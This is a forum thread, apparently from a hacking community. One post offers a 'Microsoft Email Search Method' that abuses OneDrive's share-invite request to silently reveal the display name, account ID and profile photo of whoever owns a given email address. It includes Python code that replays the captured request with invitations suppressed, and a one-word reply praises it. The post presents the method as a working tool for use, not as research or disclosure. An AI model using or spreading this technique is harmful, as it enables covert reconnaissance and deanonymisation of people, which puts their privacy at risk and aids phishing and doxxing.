Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!



   507

Microsoft - Email Search Method

by Magazine - 03 December, 2022 - 10:29 PM
This post is by a banned member (Magazine) - Unhide
Magazine  
Registered
55
Posts
10
Threads
2 Years of service
#1
(This post was last modified: 03 December, 2022 - 10:34 PM by Magazine. Edited 1 time in total.)
[Image: image.png]

This is what it looks like after use.

This method abuses the onedrive feature, and doesn't even warn the user about it.


[Image: image.png]

Invite a user then open inspect element, go to the network tab and look for the "INVITE" request.

[Image: image.png]

Copy the headers and port it to this code :
 
Code:
 
import json
import requests

your_url = ' '
email_to_lookup = input('Email: ')
headers = {}

data = {"recipients":[{"email":email_to_lookup}],"message":"","requireSignIn":False,"sendInvitation":False,"roles":["read"]}
response = requests.post(your_url, headers=headers, data=json.dumps(data))
stock_resp = response.json()['value'][0]['grantedTo']['user']
try:
display_name = stock_resp['displayName']
microsoft_id = stock_resp['id']
microsoft_pfp = f'https://storage.live.com/users/0x{microsoft_id}/myprofile/expressionprofile/profilephoto:UserTileLarge,UserTileStatic/MeControlMediumUserTile?ck=1&ex=24&fofoff=1'
print('Display Name : '+display_name +'\n'+'Microsoft ID : '+microsoft_id+'\n'+'Avatar Url : '+microsoft_pfp)
except:
print('No Account Found.')

Easy, you now have a working Microsoft Email look up method.
This post is by a banned member (MultipleCase) - Unhide
12.117
Posts
4.863
Threads
2 Years of service
#2
great
[Image: Tf9E3PC.gif]

[Image: p9hIjNE.gif]
 
[Image: Streaming-Hub-Signature-design.gif]

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 1 Guest(s)